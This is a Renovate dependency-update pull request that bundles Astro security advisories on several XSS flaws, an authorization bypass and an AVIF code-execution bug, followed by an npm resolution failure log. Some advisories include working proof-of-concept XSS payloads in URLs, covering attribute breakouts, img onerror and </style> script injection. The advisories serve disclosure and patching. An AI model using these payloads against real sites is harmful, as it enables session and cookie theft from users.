Astro: XSS via Unescaped Attribute Names in Spread Props [CVE-2026-54298](https://nvd.nist.gov/vuln/detail/CVE-2026-54298) / [GHSA-jrpj-wcv7-9fh9](https://github.com/advisories/GHSA-jrpj-wcv7-9fh9) <details> <summary>More information</summary> #### Details ##### Summary The `spreadAttributes` function in Astro's server-side rendering pipeline iterates over object keys and passes them directly to `addAttribute`, which interpolates the key into the HTML output without escaping. When a developer uses the spread syntax `{...props}` on an HTML element and the object keys come from an untrusted source (API, CMS, URL parameters), an attacker can inject arbitrary HTML attributes including event handlers like `onmousemove`, `onclick`, or break out of the attribute context entirely to inject new elements. ##### Details The vulnerable function is [`addAttribute`](https://github.com/withastro/astro/blob/main/packages/astro/src/runtime/server/render/util.ts#L81-L141) at `packages/astro/src/runtime/server/render/util.ts:81-141`: ```javascript export function addAttribute(value: any, key: string, shouldEscape = true, tagName = '') { if (value == null) { return ''; } return markHTMLString(` ${key}="${toAttributeString(value, shouldEscape)}"`); // key interpolated not escaped } ``` This function is called from [`spreadAttributes`](https://github.com/withastro/astro/blob/main/packages/astro/src/runtime/server/index.ts#L91-L92) at `packages/astro/src/runtime/server/index.ts:91-92`: ```javascript for (const [key, value] of Object.entries(values)) { output += addAttribute(value, key, true, _name); } ``` The `toAttributeString` function escapes the attribute value, but the attribute name `key` is never validated or escaped. An attacker can craft a JSON object with a key containing " characters to break out of the attribute context and inject event handlers. Execution flow: User controlled object keys (from API, CMS, URL params) are spread onto element via `{...props}`. The compiler generates `spreadAttributes(props)` which iterates with `Object.entries()` and calls `addAttribute(value, key)`. The key is interpolated as `` ` ${key}="${escapedValue}"` ``. A malicious key breaks attribute context, resulting in XSS. ##### POC Create an SSR Astro page (`src/pages/index.astro`): ```astro --- const props = JSON.parse(Astro.url.searchParams.get('props') || '{}'); --- <html> <body> <h1>Hello</h1> <div {...props}>Move mouse here</div> </body> </html> ``` Enable SSR in `astro.config.mjs` (for URL based demo): ```javascript export default defineConfig({ output: 'server' }); ``` Note: SSR is not required for the vulnerability to exist. In static builds (default), the attack vector is compromised data sources at build time (API, CMS, database). SSR simply makes the PoC easier to demonstrate via URL parameters. Start the dev server and visit: ``` http://localhost:4321/?props={"x\" onmousemove=\"alert(document.cookie)\" y":""} ``` URL encoded: ``` http://localhost:4321/?props=%7B%22x%5C%22%20onmousemove%3D%5C%22alert(document.cookie)%5C%22%20y%22%3A%22%22%7D ``` View the HTML source. The output contains: ```html <div x" onmousemove="alert(document.cookie)" y="">Move mouse here</div> ``` The key `x" onmousemove="alert(document.cookie)" y` breaks out of the attribute context. Moving the mouse over the div executes the JavaScript. <img width="1919" height="992" alt="Captura de tela 2026-06-02 005906" src="https://github.com/user-attachments/assets/ef69c12e-7edf-472e-97d1-3dfa540e61b4" /> ##### Impact An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any Astro application that spreads object props from untrusted sources onto HTML elements. This is a common pattern when integrating with external APIs or CMS systems. Exploitation enables session hijacking via cookie theft, credential theft by injecting fake login forms or keyloggers, defacement of the rendered page, and redirection to attacker controlled domains. The vulnerability affects all Astro versions that support spread syntax on HTML elements and is exploitable in SSR, SSG (if build time data is compromised), and hybrid deployments. #### Severity - CVSS Score: 4.2 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-jrpj-wcv7-9fh9](https://github.com/withastro/astro/security/advisories/GHSA-jrpj-wcv7-9fh9) - [https://nvd.nist.gov/vuln/detail/CVE-2026-54298](https://nvd.nist.gov/vuln/detail/CVE-2026-54298) - [https://github.com/withastro/astro](https://github.com/withastro/astro) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-jrpj-wcv7-9fh9) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro: Cross-site scripting via unescaped transition:* directive values on hydrated islands [CVE-2026-59727](https://nvd.nist.gov/vuln/detail/CVE-2026-59727) / [GHSA-7pw4-f3q4-r2p2](https://github.com/advisories/GHSA-7pw4-f3q4-r2p2) <details> <summary>More information</summary> #### Details ##### Summary When a `transition:persist`, `transition:scope`, or `transition:persist-props` directive is applied to a client-hydrated (`client:*`) component, Astro copied the directive value onto the rendered `<astro-island>` element **without HTML-escaping it**. If a developer reflects attacker-controlled input into one of these directives, an attacker can break out of the attribute and inject arbitrary HTML/JavaScript into the server-rendered output, resulting in reflected cross-site scripting (XSS). ##### Severity Although a generic reflected XSS scores in the Medium range, exploitation here requires the application developer to have written a non-idiomatic pattern — passing untrusted, request-derived input directly into a transition directive. Astro applications that do not route untrusted input into these directives are unaffected. This mitigating precondition places the real-world severity at Low. ##### Details In `generateHydrateScript()` (`packages/astro/src/runtime/server/hydration.ts`), every island property is HTML-escaped before serialization — the `attrs`, `props`, and `opts` assignments all pass through `escapeHTML()`. The transition directives, however, were copied verbatim: ```ts transitionDirectivesToCopyOnIsland.forEach((name) => { if (typeof props[name] !== 'undefined') { island.props[name] = props[name]; // not escaped } }); ``` The `<astro-island>` element is serialized via `renderElement('astro-island', island, false)` with `shouldEscape=false`, and `toAttributeString()` returns the value unchanged in that mode. As a result there is no downstream re-escaping, and the raw directive value reaches the HTML response. This is the same output sink previously addressed for slot names in GHSA-8hv8-536x-4wqp. The affected directives are: - `data-astro-transition-scope` (`transition:scope`) - `data-astro-transition-persist` (`transition:persist`) - `data-astro-transition-persist-props` (`transition:persist-props`) Note that `transition:persist` is typed `boolean | string`, so passing a string value is a supported use of the API. ##### Proof of Concept A component that reflects a query parameter into a transition directive: ```astro --- const persist = Astro.url.searchParams.get('persist') ?? 'default'; --- <Island client:load transition:persist={persist} /> ``` Request: ``` https://example.com/?persist="><img src=x onerror=alert(document.domain)> ``` Rendered output (before the fix): ```html <astro-island … data-astro-transition-persist=""><img src=x onerror=alert(document.domain)>></astro-island> ``` The `"` closes the attribute and the injected `<img onerror=…>` executes in the victim's browser. ##### Impact Reflected XSS. An attacker who can induce a victim to visit a crafted URL can execute arbitrary script in the victim's session on the origin, subject to the requirement that the target application reflects untrusted input into one of the affected transition directives. ##### Affected Versions `astro >= 3.10.0, < 7.0.4` (introduced in 3.10.0, PR #&#8203;7861). ##### Patched Versions `astro >= 7.0.4`. Fixed in PR #&#8203;17212 by HTML-escaping transition directive values before they are rendered onto the island element. ##### Workarounds Do not pass untrusted or request-derived input into `transition:persist`, `transition:scope`, or `transition:persist-props`. If such input is required, HTML-escape or strictly validate it before passing it to the directive. Upgrading to `astro@7.0.4` or later removes the need for manual mitigation. ##### Credits Reported by @&#8203;jlgore. #### Severity - CVSS Score: 2.1 / 10 (Low) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-7pw4-f3q4-r2p2](https://github.com/withastro/astro/security/advisories/GHSA-7pw4-f3q4-r2p2) - [https://nvd.nist.gov/vuln/detail/CVE-2026-59727](https://nvd.nist.gov/vuln/detail/CVE-2026-59727) - [https://github.com/withastro/astro/pull/17212](https://github.com/withastro/astro/pull/17212) - [https://github.com/withastro/astro/commit/7ba0bb1dc7516e88caff9abd7767322af44b0294](https://github.com/withastro/astro/commit/7ba0bb1dc7516e88caff9abd7767322af44b0294) - [https://github.com/withastro/astro](https://github.com/withastro/astro) - [https://github.com/withastro/astro/releases/tag/astro@7.0.4](https://github.com/withastro/astro/releases/tag/astro@7.0.4) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-7pw4-f3q4-r2p2) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro: XSS via unescaped spread attribute names in renderHTMLElement (incomplete fix for CVE-2026-54298) [CVE-2026-59729](https://nvd.nist.gov/vuln/detail/CVE-2026-59729) / [GHSA-f48w-9m4c-m7f5](https://github.com/advisories/GHSA-f48w-9m4c-m7f5) <details> <summary>More information</summary> #### Details ##### Summary The fix for CVE-2026-54298 (GHSA-jrpj-wcv7-9fh9) added an `INVALID_ATTR_NAME_CHAR` guard to `addAttribute()` so that spread-prop attribute names containing `"' >/=` or whitespace are dropped. A second attribute-rendering path, `renderHTMLElement()` in `packages/astro/src/runtime/server/render/dom.ts`, has its own inline attribute loop that does not go through `addAttribute()` and was not updated. It interpolates the attribute name unescaped and only escapes the value, so untrusted prop keys spread onto a native-`HTMLElement`-subclass component can still break out of the attribute context, resulting in XSS. ##### Details `renderHTMLElement` builds attributes directly: ```js for (const attr in props) { attrHTML += ` ${attr}="${toAttributeString(await props[attr])}"`; } ``` The attribute name (`attr`) is interpolated raw; only the value is escaped via `toAttributeString`. By contrast, the hardened `addAttribute` in `util.ts` rejects invalid names: ```js if (INVALID_ATTR_NAME_CHAR.test(key)) { return ''; } // /[\s"'>/=]/ ``` `renderHTMLElement` is reached from `component.ts` when the component is a native `HTMLElement` subclass: ```js if (!renderer && typeof HTMLElement === 'function' && componentIsHTMLElement(Component)) { const output = await renderHTMLElement(result, Component, _props, slots); } ``` where `_props` carries spread props verbatim. ##### Reachability The branch only runs when `typeof HTMLElement === 'function'` at SSR time. In default Node SSR `HTMLElement` is `undefined`, so the branch is dead. It becomes reachable when the SSR runtime exposes a global `HTMLElement` (Deno, Bun with a DOM shim, or jsdom/happy-dom in Node) **and** a class extending `HTMLElement` is used directly as an Astro component that receives untrusted-keyed spread props. ##### Proof of Concept Given malicious spread props: ```js const maliciousProps = { 'onmouseover=alert(document.domain) x': 'y', 'x><script>alert(1)</script>': 'z', }; ``` - `addAttribute` (post-fix) → `<my-el></my-el>` (key stripped — safe) - `renderHTMLElement` → `<my-el onmouseover=alert(document.domain) x="y" x><script>alert(1)</script>="z"></my-el>` (handler + `<script>` injected — XSS) Equivalent Astro template, served by an SSR runtime that defines a global `HTMLElement`: ```astro --- import MyElement from '../MyElement.js'; // class MyElement extends HTMLElement {} const userInput = Astro.url.searchParams; // untrusted keys --- <MyElement {...Object.fromEntries(userInput)} /> ``` ##### Impact Cross-site scripting (CWE-79) via attribute-name breakout — the same vulnerability class as CVE-2026-54298, in a code path its fix did not cover. An attacker who controls the keys of an object spread onto a native-`HTMLElement`-subclass component can inject arbitrary event-handler attributes or sibling elements (including `<script>`) into the SSR output. Reachability is constrained by the runtime and component preconditions described above. #### Severity - CVSS Score: 5.1 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-f48w-9m4c-m7f5](https://github.com/withastro/astro/security/advisories/GHSA-f48w-9m4c-m7f5) - [https://nvd.nist.gov/vuln/detail/CVE-2026-59729](https://nvd.nist.gov/vuln/detail/CVE-2026-59729) - [https://github.com/withastro/astro/pull/17251](https://github.com/withastro/astro/pull/17251) - [https://github.com/withastro/astro/commit/5240e26c9dd91f9bc7140dcfacdb48d5a132830d](https://github.com/withastro/astro/commit/5240e26c9dd91f9bc7140dcfacdb48d5a132830d) - [https://github.com/withastro/astro](https://github.com/withastro/astro) - [https://github.com/withastro/astro/releases/tag/astro@7.0.6](https://github.com/withastro/astro/releases/tag/astro@7.0.6) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-f48w-9m4c-m7f5) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro: Reflected XSS via unescaped View Transition animation properties [CVE-2026-73422](https://nvd.nist.gov/vuln/detail/CVE-2026-73422) / [GHSA-4g3v-8h47-v7g6](https://github.com/advisories/GHSA-4g3v-8h47-v7g6) <details> <summary>More information</summary> #### Details ##### Summary Astro's server-side View Transition CSS generator interpolates animation properties into an inline `<style>` element without escaping them for the CSS and HTML contexts. An attacker-controlled value passed to an animation property such as `duration` can contain a `</style>` sequence, terminate the generated style element, and inject arbitrary HTML or JavaScript. This is similar to GHSA-8hv8-536x-4wqp, but exploits a different injection point: unescaped View Transition animation values in a server-generated `<style>` element rather than an unescaped slot name in a hydration template. Like GHSA-8hv8-536x-4wqp, exploitation requires an application to pass attacker-controlled data to an Astro API. However, the value is subsequently inserted into the HTML response without context-appropriate escaping by Astro. ##### Details `packages/astro/src/runtime/server/transition.ts` The generated stylesheet is wrapped in a `<style>` element and marked as HTML-safe: ```ts const css = sheet.toString(); result._metadata.extraHead.push(markHTMLString(`<style>${css}</style>`)); ``` Animation properties are added to the stylesheet without escaping: ```ts if (anim.duration) { addAnimationProperty(builder, 'animation-duration', toTimeValue(anim.duration)); } ``` For string values, `toTimeValue()` returns the input unchanged: ```ts export function toTimeValue(num: number | string) { return typeof num === 'number' ? num + 'ms' : num; } ``` As a result, a `duration` value containing `</style>` can escape from the generated style element. Other `TransitionAnimation` properties, including `easing`, `direction`, `delay`, `fillMode`, and `name`, are serialized by the same animation builder. The following PoC only relies on the official `fade()` helper and its `duration` option. ##### PoC Using: - `astro@7.0.9` - `@astrojs/node@11.0.2` ##### `astro.config.mjs` ```js import node from '@astrojs/node'; import { defineConfig } from 'astro/config'; export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), }); ``` ##### `src/pages/index.astro` ```astro --- import { fade } from 'astro:transitions'; const duration = Astro.url.searchParams.get('duration') ?? '300ms'; --- <html lang="en"> <head> <meta charset="utf-8" /> <title>PoC</title> </head> <body> <div transition:animate={fade({ duration })}> Animated content </div> </body> </html> ``` ##### Payload: open: ```text http://localhost:4321/?duration=%3C%2Fstyle%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E%3C!-- ``` The browser interprets `</style>` as the end of the generated style element and executes the injected script. An alert dialog is displayed when the page is opened. <img width="1307" height="681" alt="image" src="https://github.com/user-attachments/assets/0834236d-008f-415f-9f23-db509ab6f8f6" /> ##### Impact An attacker who can control a View Transition animation value can execute arbitrary JavaScript in the origin of the affected Astro application. The query-based reflected XSS scenario affects on-demand/server-rendered routes, such as: - projects configured with `output: "server"`; - pages using `export const prerender = false`; - other server-side data flows that pass attacker-controlled values into a View Transition animation definition. Successful exploitation may allow access to sensitive page data and authenticated actions available to the victim. ##### Suggested Fix Animation values should be serialized using context-appropriate CSS escaping or validation before being added to the generated stylesheet. Additionally, content inserted into a raw `<style>` element must not be able to contain an HTML end-tag sequence such as `</style>`. The final generated CSS should be made safe for the HTML raw-text context before it is passed to `markHTMLString()`. #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-4g3v-8h47-v7g6](https://github.com/withastro/astro/security/advisories/GHSA-4g3v-8h47-v7g6) - [https://github.com/withastro/astro/pull/17393](https://github.com/withastro/astro/pull/17393) - [https://github.com/withastro/astro/commit/092da560eea77ee63a3e2c583c80d8238544e42b](https://github.com/withastro/astro/commit/092da560eea77ee63a3e2c583c80d8238544e42b) - [https://github.com/withastro/astro](https://github.com/withastro/astro) - [https://github.com/withastro/astro/releases/tag/astro@7.1.0](https://github.com/withastro/astro/releases/tag/astro@7.1.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-4g3v-8h47-v7g6) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro: Authorization bypass from missing path-segment boundary check when stripping the configured base [CVE-2026-84376](https://nvd.nist.gov/vuln/detail/CVE-2026-84376) / [GHSA-376h-93r7-7g6f](https://github.com/advisories/GHSA-376h-93r7-7g6f) <details> <summary>More information</summary> #### Details ##### Summary Astro stripped a configured `base` path from request pathnames using a string-prefix check that did not verify a path-segment boundary. With `base: "/app"`, a request to `/appX/admin` was treated as being under the base and resolved internally to the `/admin` route, while middleware still observed the public pathname `/appX/admin`. Middleware that authorizes routes by inspecting `context.url.pathname` could therefore be bypassed. ##### Impact An unauthenticated remote attacker can bypass pathname-based middleware authorization in applications that: - Configure a non-root `base`. - Protect base-prefixed routes in middleware using `context.url.pathname`. Because routing and middleware resolved different effective pathnames, a request such as `/appX/admin` (or other single-character extensions like `/app2/admin` or `/app-/admin`) reached the protected `/admin` route without passing the middleware check that guards `/app/admin`. Astro's authentication guide demonstrates protecting routes in middleware via `context.url.pathname`, so this is a reasonable and expected pattern. ##### Affected versions `astro` <= 7.2.3. ##### Patches Fixed in `astro` 7.2.4. Base stripping now requires the pathname to equal the base without its trailing slash, or to be followed by a `/`, so a prefix that does not end on a path-segment boundary is no longer treated as being under the base. Routing and `context.url.pathname` now resolve the same pathname. ##### Workarounds Upgrade to `astro` 7.2.4 or later. As a mitigation before upgrading, avoid relying solely on prefix checks of `context.url.pathname` for authorization, or reject requests whose pathname does not begin with the configured base followed by a path-segment boundary. ##### Credits Reported by @&#8203;Ryoga-exe. #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-376h-93r7-7g6f](https://github.com/withastro/astro/security/advisories/GHSA-376h-93r7-7g6f) - [https://nvd.nist.gov/vuln/detail/CVE-2026-84376](https://nvd.nist.gov/vuln/detail/CVE-2026-84376) - [https://github.com/withastro/astro/pull/17701](https://github.com/withastro/astro/pull/17701) - [https://github.com/withastro/astro/commit/05763a0884aabb1da78a2749d5bb9d41ae620527](https://github.com/withastro/astro/commit/05763a0884aabb1da78a2749d5bb9d41ae620527) - [https://github.com/withastro/astro](https://github.com/withastro/astro) - [https://github.com/withastro/astro/releases/tag/astro@7.2.4](https://github.com/withastro/astro/releases/tag/astro@7.2.4) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-376h-93r7-7g6f) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro: Remote code execution through AVIF image optimization [GHSA-26w7-cxv4-gfx2](https://github.com/advisories/GHSA-26w7-cxv4-gfx2) <details> <summary>More information</summary> #### Details A vulnerability in `libheif`, used by the default Sharp image service in Astro, can lead to remote code execution when a malicious AVIF image is optimized. Projects are affected when an attacker can cause Astro to process an untrusted AVIF image. The fix was released in Astro 7.2.8, which requires Sharp 0.35.4. #### Severity - CVSS Score: 9.8 / 10 (Critical) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/strukturag/libheif/security/advisories/GHSA-g89c-p67h-r497](https://github.com/strukturag/libheif/security/advisories/GHSA-g89c-p67h-r497) - [https://github.com/withastro/astro/security/advisories/GHSA-26w7-cxv4-gfx2](https://github.com/withastro/astro/security/advisories/GHSA-26w7-cxv4-gfx2) - [https://github.com/withastro/astro/commit/ecb4082131490b4fe9a56aa44fda84b54ef8967b](https://github.com/withastro/astro/commit/ecb4082131490b4fe9a56aa44fda84b54ef8967b) - [https://github.com/withastro/astro](https://github.com/withastro/astro) - [https://github.com/withastro/astro/releases/tag/astro@7.2.8](https://github.com/withastro/astro/releases/tag/astro@7.2.8) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-26w7-cxv4-gfx2) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> > ❗ **Important** > > Release Notes retrieval for this PR were skipped because no github.com credentials were available. > If you are self-hosted, please see [this instruction](https://github.com/renovatebot/renovate/blob/master/docs/usage/examples/self-hosting.md#githubcom-token-for-release-notes). --- ### Configuration 📅 **Schedule**: (in timezone UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate CLI](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMzIuMiIsInVwZGF0ZWRJblZlciI6IjQ0LjEzMi4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
Update dependency astro to v7 [SECURITY]
Some checks failed
renovate/artifacts Artifact file update failure
Dependency security / osv (pull_request) Failing after 5s
Dependency security / osv (push) Failing after 5s
5dcd4168c7
Author
Collaborator

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: site/package-lock.json
npm warn Unknown env config "store". This will stop working in the next major version of npm. See `npm help npmrc` for supported config options.
npm error code ERESOLVE
npm error ERESOLVE could not resolve
npm error
npm error While resolving: @astrojs/tailwind@5.1.0
npm error Found: astro@7.3.5
npm error node_modules/astro
npm error   astro@"^7.0.0" from the root project
npm error
npm error Could not resolve dependency:
npm error peer astro@"^3.0.0 || ^4.0.0" from @astrojs/tailwind@5.1.0
npm error node_modules/@astrojs/tailwind
npm error   @astrojs/tailwind@"^5.1.0" from the root project
npm error
npm error Conflicting peer dependency: astro@4.16.19
npm error node_modules/astro
npm error   peer astro@"^3.0.0 || ^4.0.0" from @astrojs/tailwind@5.1.0
npm error   node_modules/@astrojs/tailwind
npm error     @astrojs/tailwind@"^5.1.0" from the root project
npm error
npm error Fix the upstream dependency conflict, or retry this command with --force or --legacy-peer-deps to accept an incorrect (and potentially broken) dependency resolution.
npm error
npm error
npm error For a full report see:
npm error /data/cache/renovate/others/npm/_logs/2026-10-03T03_04_15_105Z-eresolve-report.txt
npm error A complete log of this run can be found in: /data/cache/renovate/others/npm/_logs/2026-10-03T03_04_15_105Z-debug-0.log

### ⚠️ Artifact update problem Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is. ♻ Renovate will retry this branch, including artifacts, only when one of the following happens: - any of the package files in this branch needs updating, or - the branch becomes conflicted, or - you click the rebase/retry checkbox if found above, or - you rename this PR's title to start with "rebase!" to trigger it manually The artifact failure details are included below: ##### File name: site/package-lock.json ``` npm warn Unknown env config "store". This will stop working in the next major version of npm. See `npm help npmrc` for supported config options. npm error code ERESOLVE npm error ERESOLVE could not resolve npm error npm error While resolving: @astrojs/tailwind@5.1.0 npm error Found: astro@7.3.5 npm error node_modules/astro npm error astro@"^7.0.0" from the root project npm error npm error Could not resolve dependency: npm error peer astro@"^3.0.0 || ^4.0.0" from @astrojs/tailwind@5.1.0 npm error node_modules/@astrojs/tailwind npm error @astrojs/tailwind@"^5.1.0" from the root project npm error npm error Conflicting peer dependency: astro@4.16.19 npm error node_modules/astro npm error peer astro@"^3.0.0 || ^4.0.0" from @astrojs/tailwind@5.1.0 npm error node_modules/@astrojs/tailwind npm error @astrojs/tailwind@"^5.1.0" from the root project npm error npm error Fix the upstream dependency conflict, or retry this command with --force or --legacy-peer-deps to accept an incorrect (and potentially broken) dependency resolution. npm error npm error npm error For a full report see: npm error /data/cache/renovate/others/npm/_logs/2026-10-03T03_04_15_105Z-eresolve-report.txt npm error A complete log of this run can be found in: /data/cache/renovate/others/npm/_logs/2026-10-03T03_04_15_105Z-debug-0.log ```
Some checks failed
renovate/artifacts Artifact file update failure
Dependency security / osv (pull_request) Failing after 5s
Dependency security / osv (push) Failing after 5s
This pull request can be merged automatically.
You are not authorized to merge this pull request.
View command line instructions

Checkout

From your project repository, check out a new branch and test the changes.
git fetch -u origin renovate/npm-astro-vulnerability:renovate/npm-astro-vulnerability
git switch renovate/npm-astro-vulnerability

Merge

Merge the changes and update on Forgejo.

Warning: The "Autodetect manual merge" setting is not enabled for this repository, you will have to mark this pull request as manually merged afterwards.

git switch main
git merge --no-ff renovate/npm-astro-vulnerability
git switch renovate/npm-astro-vulnerability
git rebase main
git switch main
git merge --ff-only renovate/npm-astro-vulnerability
git switch renovate/npm-astro-vulnerability
git rebase main
git switch main
git merge --no-ff renovate/npm-astro-vulnerability
git switch main
git merge --squash renovate/npm-astro-vulnerability
git switch main
git merge --ff-only renovate/npm-astro-vulnerability
git switch main
git merge renovate/npm-astro-vulnerability
git push origin main
Sign in to join this conversation.
No reviewers
No labels
No milestone
No project
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference
thomas/gotta-scroll-fast!5
No description provided.